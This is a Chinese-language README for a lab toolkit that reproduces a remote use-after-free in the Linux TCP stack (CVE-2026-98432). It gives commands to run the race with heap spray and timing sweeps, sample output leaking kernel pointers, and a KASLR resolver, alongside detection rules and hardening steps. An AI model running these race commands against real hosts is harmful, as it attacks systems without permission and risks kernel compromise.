一个经过测试的小型实验室工具包,针对 CVE-2026-98432——Linux IPv4/TCP 协议栈中的远程 释放后使用漏洞(CVSS 9.8)。它包含一个带有堆复用预言机的竞争触发 器、一个泄漏解析器、一个 KASLR 解析器、pcap 分析、IDS 规则和加固辅助工具。
[!WARNING] 这是攻击工具。请仅在您拥有的机器上、在隔离的实验室环境中运行它。 该漏洞是远程的,且目标上无需任何凭据。除非您显式传入
--allow-public,否则该工具会拒绝公共地址。
ireq_opt 竞争的触发器,具有精确、可配置的时序
模型;System.map 转换为 KASLR 偏移;| 目标 | 带有 IPv4 TCP 监听器的 Linux,内核版本早于修复版本 |
| 攻击者 | Linux、CAP_NET_RAW、C 编译器、Python 3.8+ |
| 推荐 | 两台虚拟机,或一台虚拟机加一台主机,处于同一 L2 网络 |
--mode raw 额外需要 CAP_NET_ADMIN 来安装两条 iptables
规则(该工具会打印它们)。
make # builds bin/cve_2026_98432
make check # full offline test suite, no packets sent
./bin/cve_2026_98432 --check
在实验环境中:
# 1. is the target an MPTCP listener? (one SYN, no side effects)
./bin/cve_2026_98432 --probe 192.168.56.10:9000
# 2. run the race for ten minutes, keep the evidence
./bin/cve_2026_98432 --race 192.168.56.10:9000 --iface eth1 \
--workers 16 --spray 4 --duration 600 --pcap hits.pcap
# 3. analyze offline
python3 tools/analyze_pcap.py hits.pcap
当 oracle 检测到被复用的选项块(即 use-after-free 的证据)时,退出码为 0;未检测到时为 3;出错时为 1/2。
实验室运行已确认 UAF oracle:SYN-ACK 携带了另一个请求的标记,证明内核读取了被复用的选项对象。参见 docs/verified-hit.md。阶段 2(将复用转化为内核指针泄漏)已实现并插桩,但尚未复现;参见 docs/stage2-leak.md。截至 2026-11-02,尚不存在公开的武器化 RCE 链:Anthropic 的链仅在文字中描述,而最详细的独立工作止步于在插桩内核上的受控解引用。
lab/build-lab.sh 下载 Linux 6.12.112,回退两行修复,构建内核,并在 QEMU 中与工具和监听器一起启动。参见 lab/README.md 了解要求和虚拟机内命令。
make # optimised build
make test # C unit tests + built-in self-test
make san # UBSan locally, ASan+UBSan on Linux
make check # everything: clean build, unit tests, sanitizers, Python, shell
make check 从不打开套接字。它覆盖数据包构造与解析、校验和、两种标记变体、指针分类器、pcap 写入器、解析器模糊测试、分析器、shell 辅助脚本、CLI 以及安全防护。完整矩阵见 docs/analysis.md。
| 模式 | 功能 | 网络 |
|---|---|---|
--check | 将运行中的内核与修复表进行比较,打印 MPTCP 和 tcp_migrate_req 状态 | 无 |
--selftest | 内置冒烟测试 | 无 |
--emit-demo FILE | 写入合成的 UAF 捕获(用于测试分析器) | 无 |
--dump-config | 打印规范化后的配置 | 无 |
--probe IP:PORT | 发送一个带 MP_CAPABLE 的 SYN,检测 MPTCP 监听器 | 一个数据包 |
--race IP:PORT | 实际的竞态 | 多个数据包 |
常见的竞态选项:
--workers N concurrent attempts (default 8)
--duration S stop after S seconds
--spray N heap-spray threads
--dup-burst N duplicate SYNs per attempt (lab tuning)
--mode raw|socket who owns the handshake (default socket)
--rtt-lead US send the duplicate SYN this early (may be negative)
--rst-delta US RST offset after the predicted ACK
--jitter US randomize both offsets
--pcap FILE write anomalous frames
运行 ./bin/cve_2026_98432 --help 查看完整列表。
[*] attempts=148213 synacks=147902 hits=1 anomalies=7 malformed=0 rtt=68.4us
| 字段 | 含义 |
|---|---|
attempts | 已发起的握手次数 |
synacks | 观察到的 SYN-ACK 数量 |
hits | SYN-ACK 携带了另一次尝试的标记:已确认释放后使用(use-after-free) |
anomalies | 选项数据块无法按我们的格式解析(可能存在泄漏字节) |
malformed | IPv4 ihl < 5,即下溢特征 |
marker echoed | 携带了我们 TS 标记的 SYN-ACK 数量 |
rtt | 当前用于计时的往返时延估计值 |
一次命中看起来是这样的:
[!] UAF ORACLE HIT: foreign magic bbbb0002 (expected aaaa0001)
ipopts[40] = 44280500...bbbb0002...
kernel ptr @8: ffffffff81234567 (text) base2M=ffffffff81200000
竞态是一种抢占抽签,但时机仍然很重要。先在回环或局域网上使用默认值,然后扫描:
for lead in 0 10 30 60 120; do
for delta in -20 0 20 60; do
./bin/cve_2026_98432 --race "$TARGET" --iface "$IFACE" \
--duration 120 --rtt-lead "$lead" --rst-delta "$delta" --jitter 10
done
done
python3 tools/analyze_pcap.py capture.pcap --json report.json
python3 tools/kaslr_resolve.py System.map 0xffffffff9a2b3c4d
Suricata 规则位于 tools/suricata.rules。两个高价值特征分别是带 IP 选项的入站 TCP SYN,以及 ihl < 5 的 IPv4 头。
tools/fix_check.sh /path/to/linux。sysctl -w net.mptcp.enabled=0。sysctl -w net.ipv4.tcp_migrate_req=0。iptables -A INPUT -m ipv4options --rr --ts --ssrr --lsrr --ra --sec --cipso --sid -j DROP
或 nft add rule ip filter input ip hdrlength != 5 drop。tools/harden.sh --apply 一次性应用第 2–4 项(默认试运行)。| 症状 | 原因 | 修复方法 |
|---|---|---|
socket(AF_PACKET,tx): Operation not permitted | 缺少 CAP_NET_RAW | 以 root 运行或授予该能力 |
cannot find interface | 源地址错误 | 传入 --iface 或 --src |
refusing to send packets | 目标不是私有地址 | 使用实验环境地址,或对自己的 VM 使用 --allow-public |
SYN-ACKs observed 保持为 0 | 无路由、防火墙拦截或端口错误 | 用 --probe 检查,再用 tcpdump |
| 命中数保持为 0 | 时序问题或内核不存在漏洞 | 用 --check 验证;调整时序扫描 |
| raw 模式无效果 | 本地 RST 先终止了请求 | 应用打印出的 iptables 规则,使用 --raw-filtered |
src/ engine and wire helpers
tests/ C unit tests, Python tests, full runner
tools/ pcap analyzer, KASLR resolver, fix checker, hardening, IDS rules
lab/ MPTCP listener for the test bench
docs/ vulnerability analysis and test matrix
此代码旨在帮助防御者复现、检测并修复一个严重的内核漏洞。请仅在您拥有或已获得明确测试许可的系统上使用它。 参见 SECURITY.md。
MIT。参见 LICENSE。